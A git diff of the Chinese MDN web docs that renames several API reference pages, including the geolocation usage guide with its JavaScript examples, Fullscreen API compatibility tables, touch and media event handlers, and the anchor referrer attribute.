{{DOMxRef("Document.fullscreenEnabled")}}webkitFullscreenEnabledmozFullScreenEnabledmsFullscreenEnabled
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}webkitFullscreenElementmozFullScreenElementmsFullscreenElement
{{DOMxRef("Document.onfullscreenchange")}}onwebkitfullscreenchangeonmozfullscreenchangeonMSFullscreenChange
{{DOMxRef("Document.onfullscreenerror")}}onwebkitfullscreenerroronmozfullscreenerroronMSFullscreenError
{{DOMxRef("Document.exitFullscreen()")}}webkitExitFullscreen()mozCancelFullScreen()msExitFullscreen()
{{DOMxRef("Element.requestFullscreen()")}}webkitRequestFullscreen()mozRequestFullScreen()msRequestFullscreen()
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}初始版本
- -

浏览器兼容性

- -

Document.fullscreen

- -
- - -

{{Compat("api.Document.fullscreen")}}

- -

Document.fullscreenEnabled

- -
- - -

{{Compat("api.Document.fullscreenEnabled")}}

-
-
- -

扩展链接

- -
    -
  • 全屏 API 
  • -
  • {{DOMxRef("Element.requestFullscreen()")}}
  • -
  • {{DOMxRef("Document.exitFullscreen()")}}
  • -
  • {{DOMxRef("Document.fullscreen")}}
  • -
  • {{DOMxRef("Document.fullscreenElement")}}
  • -
  • {{CSSxRef(":fullscreen")}}, {{CSSxRef("::backdrop")}}
  • -
  • {{HTMLAttrXRef("allowfullscreen", "iframe")}}
  • -
- -

 

diff --git a/files/zh-cn/web/api/geolocation/using_geolocation/index.html b/files/zh-cn/web/api/geolocation/using_geolocation/index.html deleted file mode 100644 index 54d8665516..0000000000 --- a/files/zh-cn/web/api/geolocation/using_geolocation/index.html +++ /dev/null @@ -1,303 +0,0 @@ ---- -title: 使用地理位置定位 -slug: Web/API/Geolocation/Using_geolocation -tags: - - 地理位置 API - - 指南 -translation_of: Web/API/Geolocation_API ---- -

地理位置 API 允许用户向 Web 应用程序提供他们的位置。出于隐私考虑,报告地理位置前会先请求用户许可。

- -

geolocation 对象

- -

地理位置 API 通过 {{domxref("NavigatorGeolocation.geolocation","navigator.geolocation")}} 提供。

- -

如果该对象存在,那么地理位置服务可用。

- -
if ("geolocation" in navigator) {
-  /* 地理位置服务可用 */
-} else {
-  /* 地理位置服务不可用 */
-}
-
- -
-

注意: 在 Firefox 24 和之前的浏览器中,即使 API 被禁止,代码 "geolocation" in navigator 也总是会得到 true。这在 Firefox 25 中已经被修复 ({{ bug(884921) }})。

-
- -

获取当前定位

- -

您可以调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数获取用户当前定位位置。这会异步地请求获取用户位置,并查询定位硬件来获取最新信息。当定位被确定后,定义的回调函数就会被执行。您可以选择性地提供第二个回调函数,当有错误时会被执行。第三个参数也是可选的,您可以通过该对象参数设定最长可接受的定位返回时间、等待请求的时间和是否获取高精度定位。

- -
-

注意: 默认情况下,{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会尽快返回一个低精度结果,这在您不关心准确度只关心快速获取结果的情况下很有用。有 GPS 的设备可能需要一分钟或更久来获取 GPS 定位,在这种情况下 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会返回低精度数据(基于 IP 的定位或 Wi-Fi 定位)。

-
- -
navigator.geolocation.getCurrentPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

上述示例中,当获取位置后 do_something() 函数会被执行。

- -

监视定位

- -

您可以设定一个回调函数来响应定位数据发生的变更(设备发生了移动,或获取到了更高精度的地理位置信息)。您可以通过 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数实现该功能。它与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 接受相同的参数,但回调函数会被调用多次。错误回调函数与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 中一样是可选的,也会被多次调用。

- -
-

注意: 您可以直接调用 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数,不需要先调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数。

-
- -
var watchID = navigator.geolocation.watchPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

{{domxref("Geolocation.watchPosition","watchPosition()")}} 函数会返回一个 ID,唯一地标记该位置监视器。您可以将这个 ID 传给 {{domxref("Geolocation.clearWatch()","clearWatch()")}} 函数来停止监视用户位置。

- -
navigator.geolocation.clearWatch(watchID);
-
- -

调整返回结果

- -

{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 和 {{domxref("Geolocation.watchPosition","watchPosition()")}} 都接受一个成功回调、一个可选的失败回调和一个可选的 PositionOptions 对象。

- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionOptions")}}

- -

对 {{domxref("Geolocation.watchPosition()","watchPosition")}} 的调用类似于这样:

- -
function geo_success(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-}
-
-function geo_error() {
-  alert("Sorry, no position available.");
-}
-
-var geo_options = {
-  enableHighAccuracy: true,
-  maximumAge        : 30000,
-  timeout           : 27000
-};
-
-var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
- -

watchPosition 实际使用示例: http://www.thedotproduct.org/experiments/geo/

- -

描述位置

- -

用户的位置由一个包含 Coordinates 对象的 Position 对象描述。

- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Position")}}

- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Coordinates")}}

- -

处理错误

- -

getCurrentPosition()watchPosition() 的错误回调函数以 PositionError 为第一个参数。

- -
function errorCallback(error) {
-  alert('ERROR(' + error.code + '): ' + error.message);
-};
-
- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionError")}}

- -

地理位置示例

- - - -

HTML

- -
<p><button onclick="geoFindMe()">Show my location</button></p>
-<div id="out"></div>
- -

 

- -
 
- -

JavaScript

- -
function geoFindMe() {
-  var output = document.getElementById("out");
-
-  if (!navigator.geolocation){
-    output.innerHTML = "<p>您的浏览器不支持地理位置</p>";
-    return;
-  }
-
-  function success(position) {
-    var latitude  = position.coords.latitude;
-    var longitude = position.coords.longitude;
-
-    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
-
-    var img = new Image();
-    img.src = "http://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
-
-    output.appendChild(img);
-  };
-
-  function error() {
-    output.innerHTML = "无法获取您的位置";
-  };
-
-  output.innerHTML = "<p>Locating…</p>";
-
-  navigator.geolocation.getCurrentPosition(success, error);
-}
-
- -

在线示例

- -

{{ EmbedLiveSample('Geolocation_Live_Example',350,410) }}

- -

授权请求

- -

所有 addons.mozilla.org 上需要使用地理位置的插件必须在使用 API 前显式地请求权限。用户的响应将会存储在 pref 参数指定的偏好设置中。callback 参数指定的函数会被调用并包含一个代表用户响应的 boolean 参数。如果为 true,代表插件可以访问地理位置数据。

- -
function prompt(window, pref, message, callback) {
-    let branch = Components.classes["@mozilla.org/preferences-service;1"]
-                           .getService(Components.interfaces.nsIPrefBranch);
-
-    if (branch.getPrefType(pref) === branch.PREF_STRING) {
-        switch (branch.getCharPref(pref)) {
-        case "always":
-            return callback(true);
-        case "never":
-            return callback(false);
-        }
-    }
-
-    let done = false;
-
-    function remember(value, result) {
-        return function() {
-            done = true;
-            branch.setCharPref(pref, value);
-            callback(result);
-        }
-    }
-
-    let self = window.PopupNotifications.show(
-        window.gBrowser.selectedBrowser,
-        "geolocation",
-        message,
-        "geo-notification-icon",
-        {
-            label: "Share Location",
-            accessKey: "S",
-            callback: function(notification) {
-                done = true;
-                callback(true);
-            }
-        }, [
-            {
-                label: "Always Share",
-                accessKey: "A",
-                callback: remember("always", true)
-            },
-            {
-                label: "Never Share",
-                accessKey: "N",
-                callback: remember("never", false)
-            }
-        ], {
-            eventCallback: function(event) {
-                if (event === "dismissed") {
-                    if (!done) callback(false);
-                    done = true;
-                    window.PopupNotifications.remove(self);
-                }
-            },
-            persistWhileVisible: true
-        });
-}
-
-prompt(window,
-       "extensions.foo-addon.allowGeolocation",
-       "Foo Add-on wants to know your location.",
-       function callback(allowed) { alert(allowed); });
-
- -

浏览器兼容性

- -
{{ CompatibilityTable() }}
- -
 
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
- Removed in 15.0
- Reintroduced in 16.0
5
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}1.0.1{{CompatUnknown()}}10.60
- Removed in 15.0
- Reintroduced in 16.0
{{CompatUnknown()}}
-
- -

Gecko 注释

- -

Firefox 支持根据您的 Wi-Fi 信息通过谷歌定位服务来定位。在 Firefox 和 Google 的数据交互中,Wi-Fi 接入点信息、访问令牌(类似于一个两周过期的 cookie)和用户的 IP 地址会被发送。关于数据使用情况,请查看 Mozilla 的隐私声明和 Google 的隐私声明

- -

Firefox 3.6 (Gecko 1.9.2) 增加了 Linux 上对 GPSD (GPS daemon) 服务定位的支持。

- -

另请参阅

- - diff --git a/files/zh-cn/web/api/geolocation_api/index.html b/files/zh-cn/web/api/geolocation_api/index.html new file mode 100644 index 0000000000..54d8665516 --- /dev/null +++ b/files/zh-cn/web/api/geolocation_api/index.html @@ -0,0 +1,303 @@ +--- +title: 使用地理位置定位 +slug: Web/API/Geolocation/Using_geolocation +tags: + - 地理位置 API + - 指南 +translation_of: Web/API/Geolocation_API +--- +

地理位置 API 允许用户向 Web 应用程序提供他们的位置。出于隐私考虑,报告地理位置前会先请求用户许可。

+ +

geolocation 对象

+ +

地理位置 API 通过 {{domxref("NavigatorGeolocation.geolocation","navigator.geolocation")}} 提供。

+ +

如果该对象存在,那么地理位置服务可用。

+ +
if ("geolocation" in navigator) {
+  /* 地理位置服务可用 */
+} else {
+  /* 地理位置服务不可用 */
+}
+
+ +
+

注意: 在 Firefox 24 和之前的浏览器中,即使 API 被禁止,代码 "geolocation" in navigator 也总是会得到 true。这在 Firefox 25 中已经被修复 ({{ bug(884921) }})。

+
+ +

获取当前定位

+ +

您可以调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数获取用户当前定位位置。这会异步地请求获取用户位置,并查询定位硬件来获取最新信息。当定位被确定后,定义的回调函数就会被执行。您可以选择性地提供第二个回调函数,当有错误时会被执行。第三个参数也是可选的,您可以通过该对象参数设定最长可接受的定位返回时间、等待请求的时间和是否获取高精度定位。

+ +
+

注意: 默认情况下,{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会尽快返回一个低精度结果,这在您不关心准确度只关心快速获取结果的情况下很有用。有 GPS 的设备可能需要一分钟或更久来获取 GPS 定位,在这种情况下 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会返回低精度数据(基于 IP 的定位或 Wi-Fi 定位)。

+
+ +
navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

上述示例中,当获取位置后 do_something() 函数会被执行。

+ +

监视定位

+ +

您可以设定一个回调函数来响应定位数据发生的变更(设备发生了移动,或获取到了更高精度的地理位置信息)。您可以通过 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数实现该功能。它与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 接受相同的参数,但回调函数会被调用多次。错误回调函数与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 中一样是可选的,也会被多次调用。

+ +
+

注意: 您可以直接调用 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数,不需要先调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数。

+
+ +
var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

{{domxref("Geolocation.watchPosition","watchPosition()")}} 函数会返回一个 ID,唯一地标记该位置监视器。您可以将这个 ID 传给 {{domxref("Geolocation.clearWatch()","clearWatch()")}} 函数来停止监视用户位置。

+ +
navigator.geolocation.clearWatch(watchID);
+
+ +

调整返回结果

+ +

{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 和 {{domxref("Geolocation.watchPosition","watchPosition()")}} 都接受一个成功回调、一个可选的失败回调和一个可选的 PositionOptions 对象。

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionOptions")}}

+ +

对 {{domxref("Geolocation.watchPosition()","watchPosition")}} 的调用类似于这样:

+ +
function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Sorry, no position available.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
+ +

watchPosition 实际使用示例: http://www.thedotproduct.org/experiments/geo/

+ +

描述位置

+ +

用户的位置由一个包含 Coordinates 对象的 Position 对象描述。

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Position")}}

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Coordinates")}}

+ +

处理错误

+ +

getCurrentPosition()watchPosition() 的错误回调函数以 PositionError 为第一个参数。

+ +
function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+
+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionError")}}

+ +

地理位置示例

+ + + +

HTML

+ +
<p><button onclick="geoFindMe()">Show my location</button></p>
+<div id="out"></div>
+ +

 

+ +
 
+ +

JavaScript

+ +
function geoFindMe() {
+  var output = document.getElementById("out");
+
+  if (!navigator.geolocation){
+    output.innerHTML = "<p>您的浏览器不支持地理位置</p>";
+    return;
+  }
+
+  function success(position) {
+    var latitude  = position.coords.latitude;
+    var longitude = position.coords.longitude;
+
+    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
+
+    var img = new Image();
+    img.src = "http://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
+
+    output.appendChild(img);
+  };
+
+  function error() {
+    output.innerHTML = "无法获取您的位置";
+  };
+
+  output.innerHTML = "<p>Locating…</p>";
+
+  navigator.geolocation.getCurrentPosition(success, error);
+}
+
+ +

在线示例

+ +

{{ EmbedLiveSample('Geolocation_Live_Example',350,410) }}

+ +

授权请求

+ +

所有 addons.mozilla.org 上需要使用地理位置的插件必须在使用 API 前显式地请求权限。用户的响应将会存储在 pref 参数指定的偏好设置中。callback 参数指定的函数会被调用并包含一个代表用户响应的 boolean 参数。如果为 true,代表插件可以访问地理位置数据。

+ +
function prompt(window, pref, message, callback) {
+    let branch = Components.classes["@mozilla.org/preferences-service;1"]
+                           .getService(Components.interfaces.nsIPrefBranch);
+
+    if (branch.getPrefType(pref) === branch.PREF_STRING) {
+        switch (branch.getCharPref(pref)) {
+        case "always":
+            return callback(true);
+        case "never":
+            return callback(false);
+        }
+    }
+
+    let done = false;
+
+    function remember(value, result) {
+        return function() {
+            done = true;
+            branch.setCharPref(pref, value);
+            callback(result);
+        }
+    }
+
+    let self = window.PopupNotifications.show(
+        window.gBrowser.selectedBrowser,
+        "geolocation",
+        message,
+        "geo-notification-icon",
+        {
+            label: "Share Location",
+            accessKey: "S",
+            callback: function(notification) {
+                done = true;
+                callback(true);
+            }
+        }, [
+            {
+                label: "Always Share",
+                accessKey: "A",
+                callback: remember("always", true)
+            },
+            {
+                label: "Never Share",
+                accessKey: "N",
+                callback: remember("never", false)
+            }
+        ], {
+            eventCallback: function(event) {
+                if (event === "dismissed") {
+                    if (!done) callback(false);
+                    done = true;
+                    window.PopupNotifications.remove(self);
+                }
+            },
+            persistWhileVisible: true
+        });
+}
+
+prompt(window,
+       "extensions.foo-addon.allowGeolocation",
+       "Foo Add-on wants to know your location.",
+       function callback(allowed) { alert(allowed); });
+
+ +

浏览器兼容性

+ +
{{ CompatibilityTable() }}
+ +
 
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}1.0.1{{CompatUnknown()}}10.60
+ Removed in 15.0
+ Reintroduced in 16.0
{{CompatUnknown()}}
+
+ +

Gecko 注释

+ +

Firefox 支持根据您的 Wi-Fi 信息通过谷歌定位服务来定位。在 Firefox 和 Google 的数据交互中,Wi-Fi 接入点信息、访问令牌(类似于一个两周过期的 cookie)和用户的 IP 地址会被发送。关于数据使用情况,请查看 Mozilla 的隐私声明和 Google 的隐私声明

+ +

Firefox 3.6 (Gecko 1.9.2) 增加了 Linux 上对 GPSD (GPS daemon) 服务定位的支持。

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/geolocationposition/timestamp/index.html b/files/zh-cn/web/api/geolocationposition/timestamp/index.html new file mode 100644 index 0000000000..e4c731f868 --- /dev/null +++ b/files/zh-cn/web/api/geolocationposition/timestamp/index.html @@ -0,0 +1,49 @@ +--- +title: GeolocationPosition.timestamp +slug: Web/API/GeolocationPosition/获取该位置时的时间戳 +translation_of: Web/API/GeolocationPosition/timestamp +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

The GeolocationPosition.timestamp read-only property returns a {{domxref("DOMTimeStamp")}} object, represents the date and the time of the creation of the {{domxref("GeolocationPosition")}} object it belongs to. The precision is to the millisecond.

+ +

Syntax

+ +
var timestamp = geolocationPositionInstance.timestamp
+
+ +

Value

+ +

A {{domxref("DOMTimeStamp")}} object instance.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-geolocationposition-timestamp', 'GeolocationPosition.timestamp')}}{{Spec2('Geolocation')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.GeolocationPosition.timestamp")}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" "b/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" deleted file mode 100644 index e4c731f868..0000000000 --- "a/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: GeolocationPosition.timestamp -slug: Web/API/GeolocationPosition/获取该位置时的时间戳 -translation_of: Web/API/GeolocationPosition/timestamp ---- -
{{securecontext_header}}{{APIRef("Geolocation API")}}
- -

The GeolocationPosition.timestamp read-only property returns a {{domxref("DOMTimeStamp")}} object, represents the date and the time of the creation of the {{domxref("GeolocationPosition")}} object it belongs to. The precision is to the millisecond.

- -

Syntax

- -
var timestamp = geolocationPositionInstance.timestamp
-
- -

Value

- -

A {{domxref("DOMTimeStamp")}} object instance.

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-geolocationposition-timestamp', 'GeolocationPosition.timestamp')}}{{Spec2('Geolocation')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("api.GeolocationPosition.timestamp")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html b/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html deleted file mode 100644 index 3bbf3d5ce4..0000000000 --- a/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: GlobalEventHandlers.ontouchmove -slug: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove -translation_of: Web/API/GlobalEventHandlers/ontouchmove -translation_of_original: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove ---- -
{{ApiRef("HTML DOM")}}
- -

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchmove")}} event.

- -
-

注意:这个属性还没有正式的标准。它在 {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 说明书里被规定且不在 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}中。这个属性没有被广泛应用。

-
- -

Syntax

- -
var moveHandler = someElement.ontouchmove;
-
- -

Return value

- -
-
moveHandler
-
The touchmove event handler for element someElement.
-
- -

Example

- -

This example shows two ways to use ontouchmove to set an element's touchmove event handler.

- -
<html>
-<script>
-function moveTouch(ev) {
- // Process the event
-}
-function init() {
- var el=document.getElementById("target1");
- el.ontouchmove = moveTouch;
-}
-</script>
-<body onload="init();">
-<div id="target1"> Touch me ... </div>
-<div id="target2" ontouchmove="moveTouch(event)"> Touch me ... </div>
-</body>
-</html>
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchmove')}}{{Spec2('Touch Events 2')}}Non-stable version.
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support     
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support        
-
- -

See also

- -
    -
  • {{ event("touchmove") }}
  • -
diff --git a/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html new file mode 100644 index 0000000000..2c3923fca9 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html @@ -0,0 +1,52 @@ +--- +title: GlobalEventHandlers.ondurationchange +slug: Web/API/GlobalEventHandlers/时长改变 +tags: + - API + - Audio + - Video +translation_of: Web/API/GlobalEventHandlers/ondurationchange +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}} 的ondurationchange属性是一个处理 {{event("durationchange")}} 事件的{{domxref("EventHandler")}} 。

+ +

durationchange事件会在duration发生变更时触发。

+ +

语法

+ +
element.ondurationchange = handlerFunction;
+var handlerFunction = element.ondurationchange;
+
+ +

handlerFunction可以为null也可以是一个处理该事件的JavaScript方法

+ +

规范说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-ondurationchange','ondurationchange')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ + + +

{{Compat("api.GlobalEventHandlers.ondurationchange")}}

+ +

其他

+ + diff --git "a/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" "b/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" deleted file mode 100644 index 2c3923fca9..0000000000 --- "a/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: GlobalEventHandlers.ondurationchange -slug: Web/API/GlobalEventHandlers/时长改变 -tags: - - API - - Audio - - Video -translation_of: Web/API/GlobalEventHandlers/ondurationchange ---- -
{{ ApiRef("HTML DOM") }}
- -

{{domxref("GlobalEventHandlers")}} 的ondurationchange属性是一个处理 {{event("durationchange")}} 事件的{{domxref("EventHandler")}} 。

- -

durationchange事件会在duration发生变更时触发。

- -

语法

- -
element.ondurationchange = handlerFunction;
-var handlerFunction = element.ondurationchange;
-
- -

handlerFunction可以为null也可以是一个处理该事件的JavaScript方法

- -

规范说明

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-ondurationchange','ondurationchange')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容

- - - -

{{Compat("api.GlobalEventHandlers.ondurationchange")}}

- -

其他

- - diff --git a/files/zh-cn/web/api/htmlanchorelement/referrer/index.html b/files/zh-cn/web/api/htmlanchorelement/referrer/index.html deleted file mode 100644 index b3e30b3fe2..0000000000 --- a/files/zh-cn/web/api/htmlanchorelement/referrer/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: HTMLAnchorElement.referrer -slug: Web/API/HTMLAnchorElement/referrer -translation_of: Web/API/HTMLAnchorElement/referrerPolicy ---- -
{{APIRef}}{{SeeCompatTable}}
- -

HTMLAnchorElement.referrer 属性对应于 HTML 中 {{HTMLElement("a")}} 标签的 {{htmlattrxref("referrer","a")}} 属性,它可以控制用户在点击这个链接时所发出的 HTTP 请求的 Referer 请求头的值。

- -

语法

- -
refStr = anchorElt.referrer;
-anchorElt.referrer = refStr;
- -

属性值

- -
-
-
    -
  • "no-referrer" 意味着不要发送 Referer 请求头。
  • -
  • "origin"  意味着所发送的 Referer 请求头的值为当前页面的源,即 location.origin 的值。
  • -
  • "unsafe-url" 意味着所发送的 Referrer 请求头的值为当前页面完整的 url(即 location.href)去掉尾部的哈希(即 location.hash)之后的值。正如该选项的名字所言(unsafe),此选项是不安全的,它可以将一个 HTTPS 页面的路径信息透露给第三方。
  • -
-
-
- -

示例

- -
var elt = document.createElement("a");
-var linkText = document.createTextNode("My link");
-elt.appendChild(linkText);
-elt.href = "https://developer.mozilla.org/en-US/";
-elt.referrer = "no-referrer";
-
-var div = document.getElementById("divAround");
-div.appendChild(elt); // 点击该链接接时不会发送 Referer 请求头
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Added the referrer attribute.
- -

浏览器兼容性

- -
{{CompatibilityTable}} -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] 该特性目前默认为关闭状态,请通过将 network.http.enablePerElementReferrer 选项设置为 true 来开启。

-
- -

相关链接

- -
    -
  • {{domxref("HTMLImageElement.referrer")}}、{{domxref("HTMLAreaElement.referrer")}}、{{domxref("HTMLIFrameElement.referrer")}}
  • -
diff --git a/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html new file mode 100644 index 0000000000..b3e30b3fe2 --- /dev/null +++ b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLAnchorElement.referrer +slug: Web/API/HTMLAnchorElement/referrer +translation_of: Web/API/HTMLAnchorElement/referrerPolicy +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

HTMLAnchorElement.referrer 属性对应于 HTML 中 {{HTMLElement("a")}} 标签的 {{htmlattrxref("referrer","a")}} 属性,它可以控制用户在点击这个链接时所发出的 HTTP 请求的 Referer 请求头的值。

+ +

语法

+ +
refStr = anchorElt.referrer;
+anchorElt.referrer = refStr;
+ +

属性值

+ +
+
+
    +
  • "no-referrer" 意味着不要发送 Referer 请求头。
  • +
  • "origin"  意味着所发送的 Referer 请求头的值为当前页面的源,即 location.origin 的值。
  • +
  • "unsafe-url" 意味着所发送的 Referrer 请求头的值为当前页面完整的 url(即 location.href)去掉尾部的哈希(即 location.hash)之后的值。正如该选项的名字所言(unsafe),此选项是不安全的,它可以将一个 HTTPS 页面的路径信息透露给第三方。
  • +
+
+
+ +

示例

+ +
var elt = document.createElement("a");
+var linkText = document.createTextNode("My link");
+elt.appendChild(linkText);
+elt.href = "https://developer.mozilla.org/en-US/";
+elt.referrer = "no-referrer";
+
+var div = document.getElementById("divAround");
+div.appendChild(elt); // 点击该链接接时不会发送 Referer 请求头
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Added the referrer attribute.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}} +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

